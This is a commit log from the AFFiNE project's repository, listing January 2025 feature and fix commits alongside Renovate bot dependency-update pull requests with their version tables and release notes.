fengmk2 ee99b0cc9d refactor(server): use verificationToken model instead of tokenService (#9657) 2025-01-14 03:39:05 +00:00
fengmk2 290b2074c8 feat(server): verificationToken model (#9655) 2025-01-14 03:39:05 +00:00
fengmk2 afd2c3f642 feat(server): session model (#9652) 2025-01-14 03:02:19 +00:00
CatsJuice af3ad4bfe9 feat(core): template doc setting ui (#9658)
close AF-2051, AF-2052
2025-01-14 02:10:35 +00:00
CatsJuice 57b89b5ad4 feat(core): template-doc settings for user-worksapce scope (#9566) 2025-01-14 02:10:34 +00:00
CatsJuice 10196f6785 feat(core): new template doc property (#9538)
close AF-2045, AF-2047, AF-2065
2025-01-14 02:10:33 +00:00
Yifeng Wang 777eea124d fix(editor): migrate basic playground examples (#9669) 2025-01-13 23:33:10 +08:00
forehalo 4ec02dbb39 fix(tools): windows path 2025-01-13 22:53:34 +08:00
zzj3720 80f8944188 fix(editor): should not update table selection after table is destroyed (#9665) 2025-01-13 10:43:02 +00:00
fundon 7e5e6031e8 chore(editor): update default colors of shape (#9633)
Closes: [PD-2176](https://linear.app/affine-design/issue/PD-2176/edgeless-shape默认颜色调整)

* updates shape's text color to the `#000000ff` and custom button should be selected by default in color picker
* updates shape background default color palette to `medium`

<img width="727" alt="Screenshot 2025-01-13 at 11 07 14" src="https://github.com/user-attachments/assets/81962741-0dbc-4990-8eec-db5e48624305" />
<img width="444" alt="Screenshot 2025-01-13 at 11 07 09" src="https://github.com/user-attachments/assets/2d119e33-635e-4bd4-826f-e3094c8a3fa2" />

<img width="764" alt="Screenshot 2025-01-13 at 11 08 14" src="https://github.com/user-attachments/assets/09f5c778-0e25-4972-8529-8d8323c27594" />
2025-01-13 10:19:58 +00:00
zzj3720 810e656174 fix(editor): add shift middleware for tag select panel (#9664)
fix: BS-1749
2025-01-13 09:05:05 +00:00
Brooooooklyn e72371d15c style: use typescript resolver for eslint import plugin (#9662) 2025-01-13 05:56:29 +00:00
renovate 77fbcb1b9a chore: bump up oxlint version to v0.15.6 (#9659)
This PR contains the following updates:

| Package | Change | Age | Adoption | Passing | Confidence |
|---|---|---|---|---|---|
| [oxlint](https://oxc.rs) ([source](https://redirect.github.com/oxc-project/oxc/tree/HEAD/npm/oxlint)) | [`0.15.5` -> `0.15.6`](https://renovatebot.com/diffs/npm/oxlint/0.15.5/0.15.6) | [![age](https://developer.mend.io/api/mc/badges/age/npm/oxlint/0.15.6?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/oxlint/0.15.6?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/oxlint/0.15.5/0.15.6?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/oxlint/0.15.5/0.15.6?slim=true)](https://docs.renovatebot.com/merge-confidence/) |

---

### Release Notes

<details>
<summary>oxc-project/oxc (oxlint)</summary>

### [`v0.15.6`](https://redirect.github.com/oxc-project/oxc/releases/tag/oxlint_v0.15.6): oxlint v0.15.6

[Compare Source](https://redirect.github.com/oxc-project/oxc/compare/oxlint_v0.15.5...oxlint_v0.15.6)

#### \[0.15.6] - 2025-01-13

##### Features

-   [`457aa31`](https://redirect.github.com/oxc-project/oxc/commit/457aa31) linter: Implement `no-lone-blocks` rule ([#&#8203;8145](https://redirect.github.com/oxc-project/oxc/issues/8145)) (Yuichiro Yamashita)

##### Refactor

-   [`aea9551`](https://redirect.github.com/oxc-project/oxc/commit/aea9551) ast: Simplify `get_identifier_reference` of `TSType` and `TSTypeName` ([#&#8203;8273](https://redirect.github.com/oxc-project/oxc/issues/8273)) (Dunqing)
-   [`43ed3e1`](https://redirect.github.com/oxc-project/oxc/commit/43ed3e1) linter: Add output formatter ([#&#8203;8436](https://redirect.github.com/oxc-project/oxc/issues/8436)) (Alexander S.)
-   [`4e05e66`](https://redirect.github.com/oxc-project/oxc/commit/4e05e66) linter: Remove glob for windows ([#&#8203;8390](https://redirect.github.com/oxc-project/oxc/issues/8390)) (Alexander S.)
-   [`b19d809`](https://redirect.github.com/oxc-project/oxc/commit/b19d809) linter: Split `unicorn/prefer-spread` and `eslint/prefer-spread` into own rules ([#&#8203;8329](https://redirect.github.com/oxc-project/oxc/issues/8329)) (Alexander S.)
-   [`3c534ae`](https://redirect.github.com/oxc-project/oxc/commit/3c534ae) linter: Refactor `LintBuilder` to prep for nested configs ([#&#8203;8034](https://redirect.github.com/oxc-project/oxc/issues/8034)) (camc314)
-   [`2f9fab9`](https://redirect.github.com/oxc-project/oxc/commit/2f9fab9) linter: Remove remapping for plugin name in diagnostics ([#&#8203;8223](https://redirect.github.com/oxc-project/oxc/issues/8223)) (Alexander S.)

##### Testing

-   [`b6c1546`](https://redirect.github.com/oxc-project/oxc/commit/b6c1546) linter: Use plugin name instead of category for finding rule ([#&#8203;8353](https://redirect.github.com/oxc-project/oxc/issues/8353)) (Alexander S.)

</details>

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined), Automerge - At any time (no schedule defined).

🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update again.

---

 - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/). View the [repository job log](https://developer.mend.io/github/toeverything/AFFiNE).
<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiIzOS45Mi4wIiwidXBkYXRlZEluVmVyIjoiMzkuOTIuMCIsInRhcmdldEJyYW5jaCI6ImNhbmFyeSIsImxhYmVscyI6WyJkZXBlbmRlbmNpZXMiXX0=-->
2025-01-13 04:06:13 +00:00
github-actions[bot] 00b2362b03 chore(i18n): sync translations (#9534)
Co-authored-by: Crowdin Bot <support+bot@crowdin.com>
Co-authored-by: github-actions[bot] <41898282+github-actions[bot]@users.noreply.github.com>
2025-01-13 03:02:24 +00:00
forehalo 5979907d96 fix(tools): always use posix for path resolving (#9627) 2025-01-13 02:40:13 +00:00
donteatfriedrice 5c4e87ddb5 feat(editor): support text highlight html adapter (#9632)
[BS-2061](https://linear.app/affine-design/issue/BS-2061/html-adapter-支持-text-highlight-样式)
2025-01-13 02:20:58 +00:00
renovate 76895e29d8 chore: Lock file maintenance (#9418)
This PR contains the following updates:

| Update | Change |
|---|---|
| lockFileMaintenance | All locks refreshed |

🔧 This Pull Request updates lock files to use the latest dependency versions.

---

### Configuration

📅 **Schedule**: Branch creation - "* 0-3 * * 1" (UTC), Automerge - At any time (no schedule defined).

🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

👻 **Immortal**: This PR will be recreated if closed unmerged. Get [config help](https://redirect.github.com/renovatebot/renovate/discussions) if that's undesired.

---

 - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/). View the [repository job log](https://developer.mend.io/github/toeverything/AFFiNE).
<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiIzOS44NS4wIiwidXBkYXRlZEluVmVyIjoiMzkuODUuMCIsInRhcmdldEJyYW5jaCI6ImNhbmFyeSIsImxhYmVscyI6WyJkZXBlbmRlbmNpZXMiXX0=-->
2025-01-11 14:06:26 +00:00
renovate 289c925f35 chore: bump up Rust crate notify to v8 (#9635)
This PR contains the following updates:

| Package | Type | Update | Change |
|---|---|---|---|
| [notify](https://redirect.github.com/notify-rs/notify) | workspace.dependencies | major | `7` -> `8` |

---

### Release Notes

<details>
<summary>notify-rs/notify (notify)</summary>

### [`v8.0.0`](https://redirect.github.com/notify-rs/notify/blob/HEAD/CHANGELOG.md#notify-800-2025-01-10)

[Compare Source](https://redirect.github.com/notify-rs/notify/compare/notify-7.0.0...notify-8.0.0)

-   CHANGE: update notify-types to version 2.0.0
-   CHANGE: raise MSRV to 1.77 **breaking**
-   FEATURE: add config option to disable following symbolic links [#&#8203;635]
-   FIX: unaligned access to FILE_NOTIFY_INFORMATION [#&#8203;647] **breaking**

[#&#8203;635]: https://redirect.github.com/notify-rs/notify/pull/635

[#&#8203;647]: https://redirect.github.com/notify-rs/notify/pull/647

</details>

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined), Automerge - At any time (no schedule defined).

🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update again.

---

 - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/). View the [repository job log](https://developer.mend.io/github/toeverything/AFFiNE).
<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiIzOS45Mi4wIiwidXBkYXRlZEluVmVyIjoiMzkuOTIuMCIsInRhcmdldEJyYW5jaCI6ImNhbmFyeSIsImxhYmVscyI6WyJkZXBlbmRlbmNpZXMiXX0=-->
2025-01-11 13:50:07 +00:00
LongYinan 7f27500f04 ci: fix server build job (#9649) 2025-01-11 21:48:16 +08:00
Saul-Mirone 5b9256712e chore(editor): remove unused awareness slot (#9640) 2025-01-11 04:27:45 +00:00
Mirone 446b31b621 refactor(editor): rename job to transformer (#9639) 2025-01-11 12:04:07 +08:00
fundon 9fa35ed490 fix(editor): drag indicator flickering (#9636) 2025-01-11 03:15:07 +00:00
renovate 6de62ef7cf chore: bump up all non-major dependencies (#9598)
This PR contains the following updates:

| Package | Change | Age | Adoption | Passing | Confidence | Type | Update |
|---|---|---|---|---|---|---|---|
| [@aws-sdk/client-s3](https://redirect.github.com/aws/aws-sdk-js-v3/tree/main/clients/client-s3) ([source](https://redirect.github.com/aws/aws-sdk-js-v3/tree/HEAD/clients/client-s3)) | [`3.723.0` -> `3.726.1`](https://renovatebot.com/diffs/npm/@aws-sdk%2fclient-s3/3.723.0/3.726.1) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@aws-sdk%2fclient-s3/3.726.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@aws-sdk%2fclient-s3/3.726.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@aws-sdk%2fclient-s3/3.723.0/3.726.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@aws-sdk%2fclient-s3/3.723.0/3.726.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | dependencies | minor |
| [@clack/core](https://redirect.github.com/natemoo-re/clack/tree/main/packages/core#readme) ([source](https://redirect.github.com/natemoo-re/clack/tree/HEAD/packages/core)) | [`0.4.0` -> `0.4.1`](https://renovatebot.com/diffs/npm/@clack%2fcore/0.4.0/0.4.1) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@clack%2fcore/0.4.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@clack%2fcore/0.4.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@clack%2fcore/0.4.0/0.4.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@clack%2fcore/0.4.0/0.4.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | dependencies | patch |
| [@clack/prompts](https://redirect.github.com/natemoo-re/clack/tree/main/packages/prompts#readme) ([source](https://redirect.github.com/natemoo-re/clack/tree/HEAD/packages/prompts)) | [`0.9.0` -> `0.9.1`](https://renovatebot.com/diffs/npm/@clack%2fprompts/0.9.0/0.9.1) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@clack%2fprompts/0.9.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@clack%2fprompts/0.9.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@clack%2fprompts/0.9.0/0.9.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@clack%2fprompts/0.9.0/0.9.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | dependencies | patch |
| [@eslint/js](https://eslint.org) ([source](https://redirect.github.com/eslint/eslint/tree/HEAD/packages/js)) | [`9.17.0` -> `9.18.0`](https://renovatebot.com/diffs/npm/@eslint%2fjs/9.17.0/9.18.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@eslint%2fjs/9.18.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@eslint%2fjs/9.18.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@eslint%2fjs/9.17.0/9.18.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@eslint%2fjs/9.17.0/9.18.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | devDependencies | minor |
| [@sentry/esbuild-plugin](https://redirect.github.com/getsentry/sentry-javascript-bundler-plugins/tree/main/packages/esbuild-plugin) ([source](https://redirect.github.com/getsentry/sentry-javascript-bundler-plugins)) | [`2.22.7` -> `2.23.0`](https://renovatebot.com/diffs/npm/@sentry%2fesbuild-plugin/2.22.7/2.23.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@sentry%2fesbuild-plugin/2.23.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@sentry%2fesbuild-plugin/2.23.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@sentry%2fesbuild-plugin/2.22.7/2.23.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@sentry%2fesbuild-plugin/2.22.7/2.23.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | devDependencies | minor |
| [@sentry/webpack-plugin](https://redirect.github.com/getsentry/sentry-javascript-bundler-plugins/tree/main/packages/webpack-plugin) ([source](https://redirect.github.com/getsentry/sentry-javascript-bundler-plugins)) | [`2.22.7` -> `2.23.0`](https://renovatebot.com/diffs/npm/@sentry%2fwebpack-plugin/2.22.7/2.23.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@sentry%2fwebpack-plugin/2.23.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@sentry%2fwebpack-plugin/2.23.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@sentry%2fwebpack-plugin/2.22.7/2.23.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@sentry%2fwebpack-plugin/2.22.7/2.23.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | dependencies | minor |
| [@smarttools/eslint-plugin-rxjs](https://redirect.github.com/DaveMBush/eslint-plugin-rxjs) | [`1.0.13` -> `1.0.14`](https://renovatebot.com/diffs/npm/@smarttools%2feslint-plugin-rxjs/1.0.13/1.0.14) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@smarttools%2feslint-plugin-rxjs/1.0.14?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@smarttools%2feslint-plugin-rxjs/1.0.14?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@smarttools%2feslint-plugin-rxjs/1.0.13/1.0.14?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@smarttools%2feslint-plugin-rxjs/1.0.13/1.0.14?slim=true)](https://docs.renovatebot.com/merge-confidence/) | devDependencies | patch |
| [@swc/core](https://swc.rs) ([source](https://redirect.github.com/swc-project/swc)) | [`1.10.6` -> `1.10.7`](https://renovatebot.com/diffs/npm/@swc%2fcore/1.10.6/1.10.7) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@swc%2fcore/1.10.7?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@swc%2fcore/1.10.7?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@swc%2fcore/1.10.6/1.10.7?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@swc%2fcore/1.10.6/1.10.7?slim=true)](https://docs.renovatebot.com/merge-confidence/) | devDependencies | patch |
| [apollographql/apollo-ios](https://redirect.github.com/apollographql/apollo-ios) | `from: "1.15.3"` -> `from: "1.16.0"` | [![age](https://developer.mend.io/api/mc/badges/age/git-tags/https:%2f%2fgithub.com%2fapollographql%2fapollo-ios.git/1.16.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/git-tags/https:%2f%2fgithub.com%2fapollographql%2fapollo-ios.git/1.16.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/git-tags/https:%2f%2fgithub.com%2fapollographql%2fapollo-ios.git/1.15.3/1.16.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/git-tags/https:%2f%2fgithub.com%2fapollographql%2fapollo-ios.git/1.15.3/1.16.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) |  | minor |
| [glob](https://redirect.github.com/isaacs/node-glob) | [`11.0.0` -> `11.0.1`](https://renovatebot.com/diffs/npm/glob/11.0.0/11.0.1) | [![age](https://developer.mend.io/api/mc/badges/age/npm/glob/11.0.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/glob/11.0.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/glob/11.0.0/11.0.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/glob/11.0.0/11.0.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | devDependencies | patch |
| [happy-dom](https://redirect.github.com/capricorn86/happy-dom) | [`16.5.2` -> `16.5.3`](https://renovatebot.com/diffs/npm/happy-dom/16.5.2/16.5.3) | [![age](https://developer.mend.io/api/mc/badges/age/npm/happy-dom/16.5.3?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/happy-dom/16.5.3?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/happy-dom/16.5.2/16.5.3?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/happy-dom/16.5.2/16.5.3?slim=true)](https://docs.renovatebot.com/merge-confidence/) | devDependencies | patch |
| [html-validate](https://html-validate.org) ([source](https://gitlab.com/html-validate/html-validate)) | [`9.1.1` -> `9.1.3`](https://renovatebot.com/diffs/npm/html-validate/9.1.1/9.1.3) | [![age](https://developer.mend.io/api/mc/badges/age/npm/html-validate/9.1.3?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/html-validate/9.1.3?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/html-validate/9.1.1/9.1.3?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/html-validate/9.1.1/9.1.3?slim=true)](https://docs.renovatebot.com/merge-confidence/) | dependencies | patch |
| [lucide-react](https://lucide.dev) ([source](https://redirect.github.com/lucide-icons/lucide/tree/HEAD/packages/lucide-react)) | [`^0.469.0` -> `^0.471.0`](https://renovatebot.com/diffs/npm/lucide-react/0.469.0/0.471.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/lucide-react/0.471.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/lucide-react/0.471.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/lucide-react/0.469.0/0.471.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/lucide-react/0.469.0/0.471.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | dependencies | minor |
| [openai](https://redirect.github.com/openai/openai-node) | [`4.77.4` -> `4.78.1`](https://renovatebot.com/diffs/npm/openai/4.77.4/4.78.1) | [![age](https://developer.mend.io/api/mc/badges/age/npm/openai/4.78.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/openai/4.78.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/openai/4.77.4/4.78.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/openai/4.77.4/4.78.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | dependencies | minor |
| [thiserror](https://redirect.github.com/dtolnay/thiserror) | `2.0.10` -> `2.0.11` | [![age](https://developer.mend.io/api/mc/badges/age/crate/thiserror/2.0.11?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/crate/thiserror/2.0.11?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/crate/thiserror/2.0.10/2.0.11?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/crate/thiserror/2.0.10/2.0.11?slim=true)](https://docs.renovatebot.com/merge-confidence/) | workspace.dependencies | patch |
| [undici](https://undici.nodejs.org) ([source](https://redirect.github.com/nodejs/undici)) | [`7.2.0` -> `7.2.1`](https://renovatebot.com/diffs/npm/undici/7.2.0/7.2.1) | [![age](https://developer.mend.io/api/mc/badges/age/npm/undici/7.2.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/undici/7.2.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/undici/7.2.0/7.2.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/undici/7.2.0/7.2.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | dependencies | patch |
| [uuid](https://redirect.github.com/uuidjs/uuid) | [`11.0.4` -> `11.0.5`](https://renovatebot.com/diffs/npm/uuid/11.0.4/11.0.5) | [![age](https://developer.mend.io/api/mc/badges/age/npm/uuid/11.0.5?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/uuid/11.0.5?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/uuid/11.0.4/11.0.5?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/uuid/11.0.4/11.0.5?slim=true)](https://docs.renovatebot.com/merge-confidence/) | devDependencies | patch |
| [wrangler](https://redirect.github.com/cloudflare/workers-sdk) ([source](https://redirect.github.com/cloudflare/workers-sdk/tree/HEAD/packages/wrangler)) | [`3.100.0` -> `3.101.0`](https://renovatebot.com/diffs/npm/wrangler/3.100.0/3.101.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/wrangler/3.101.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/wrangler/3.101.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/wrangler/3.100.0/3.101.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/wrangler/3.100.0/3.101.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | devDependencies | minor |
| [com.android.tools.build:gradle](https://developer.android.com/studio/build) ([source](https://android.googlesource.com/platform/tools/base)) | `8.7.3` -> `8.8.0` | [![age](https://developer.mend.io/api/mc/badges/age/maven/com.android.tools.build:gradle/8.8.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/maven/com.android.tools.build:gradle/8.8.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/maven/com.android.tools.build:gradle/8.7.3/8.8.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/maven/com.android.tools.build:gradle/8.7.3/8.8.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | dependencies | minor |

---

### Release Notes

<details>
<summary>aws/aws-sdk-js-v3 (@&#8203;aws-sdk/client-s3)</summary>

### [`v3.726.1`](https://redirect.github.com/aws/aws-sdk-js-v3/blob/HEAD/clients/client-s3/CHANGELOG.md#37261-2025-01-10)

[Compare Source](https://redirect.github.com/aws/aws-sdk-js-v3/compare/v3.726.0...v3.726.1)

**Note:** Version bump only for package [@&#8203;aws-sdk/client-s3](https://redirect.github.com/aws-sdk/client-s3)

### [`v3.726.0`](https://redirect.github.com/aws/aws-sdk-js-v3/blob/HEAD/clients/client-s3/CHANGELOG.md#37260-2025-01-09)

[Compare Source](https://redirect.github.com/aws/aws-sdk-js-v3/compare/v3.723.0...v3.726.0)

**Note:** Version bump only for package [@&#8203;aws-sdk/client-s3](https://redirect.github.com/aws-sdk/client-s3)

</details>

<details>
<summary>natemoo-re/clack (@&#8203;clack/core)</summary>

### [`v0.4.1`](https://redirect.github.com/natemoo-re/clack/blob/HEAD/packages/core/CHANGELOG.md#041)

[Compare Source](https://redirect.github.com/natemoo-re/clack/compare/@clack/core@0.4.0...@clack/core@0.4.1)

##### Patch Changes

-   [`8093f3c`](https://redirect.github.com/natemoo-re/clack/commit/8093f3c): Adds `Error` support to the `validate` function
-   [`e5ba09a`](https://redirect.github.com/natemoo-re/clack/commit/e5ba09a): Fixes a cursor display bug in terminals that do not support the "hidden" escape sequence. See [Issue #&#8203;127](https://redirect.github.com/bombshell-dev/clack/issues/127).
-   [`8cba8e3`](https://redirect.github.com/natemoo-re/clack/commit/8cba8e3): Fixes a rendering bug with cursor positions for `TextPrompt`

</details>

<details>
<summary>natemoo-re/clack (@&#8203;clack/prompts)</summary>

### [`v0.9.1`](https://redirect.github.com/natemoo-re/clack/blob/HEAD/packages/prompts/CHANGELOG.md#091)

[Compare Source](https://redirect.github.com/natemoo-re/clack/compare/@clack/prompts@0.9.0...@clack/prompts@0.9.1)

##### Patch Changes

-   [`8093f3c`](https://redirect.github.com/natemoo-re/clack/commit/8093f3c): Adds `Error` support to the `validate` function
-   [`98925e3`](https://redirect.github.com/natemoo-re/clack/commit/98925e3): Exports the `Option` type and improves JSDocannotations
-   [`1904e57`](https://redirect.github.com/natemoo-re/clack/commit/1904e57): Replace custom utility for stripping ANSI control sequences with Node's built-in [`stripVTControlCharacters`](https://nodejs.org/docs/latest/api/util.html#utilstripvtcontrolcharactersstr) utility.
-   Updated dependencies \[[`8093f3c`](https://redirect.github.com/natemoo-re/clack/commit/8093f3c)]
-   Updated dependencies \[[`e5ba09a`](https://redirect.github.com/natemoo-re/clack/commit/e5ba09a)]
-   Updated dependencies \[[`8cba8e3`](https://redirect.github.com/natemoo-re/clack/commit/8cba8e3)]
    -   [@&#8203;clack/core](https://redirect.github.com/clack/core)[@&#8203;0](https://redirect.github.com/0).4.1

</details>

<details>
<summary>eslint/eslint (@&#8203;eslint/js)</summary>

### [`v9.18.0`](https://redirect.github.com/eslint/eslint/compare/v9.17.0...362099c580992b2602316fc417ce3e595b96f28c)

[Compare Source](https://redirect.github.com/eslint/eslint/compare/v9.17.0...v9.18.0)

</details>

<details>
<summary>getsentry/sentry-javascript-bundler-plugins (@&#8203;sentry/esbuild-plugin)</summary>

### [`v2.23.0`](https://redirect.github.com/getsentry/sentry-javascript-bundler-plugins/blob/HEAD/CHANGELOG.md#2230)

[Compare Source](https://redirect.github.com/getsentry/sentry-javascript-bundler-plugins/compare/2.22.7...2.23.0)

-   chore(deps): bump nanoid from 3.3.6 to 3.3.8 ([#&#8203;641](https://redirect.github.com/getsentry/sentry-javascript-bundler-plugins/issues/641))
-   feat(core): Detect Railway release name ([#&#8203;639](https://redirect.github.com/getsentry/sentry-javascript-bundler-plugins/issues/639))
-   feat(core): Write module injections to `globalThis` ([#&#8203;636](https://redirect.github.com/getsentry/sentry-javascript-bundler-plugins/issues/636))
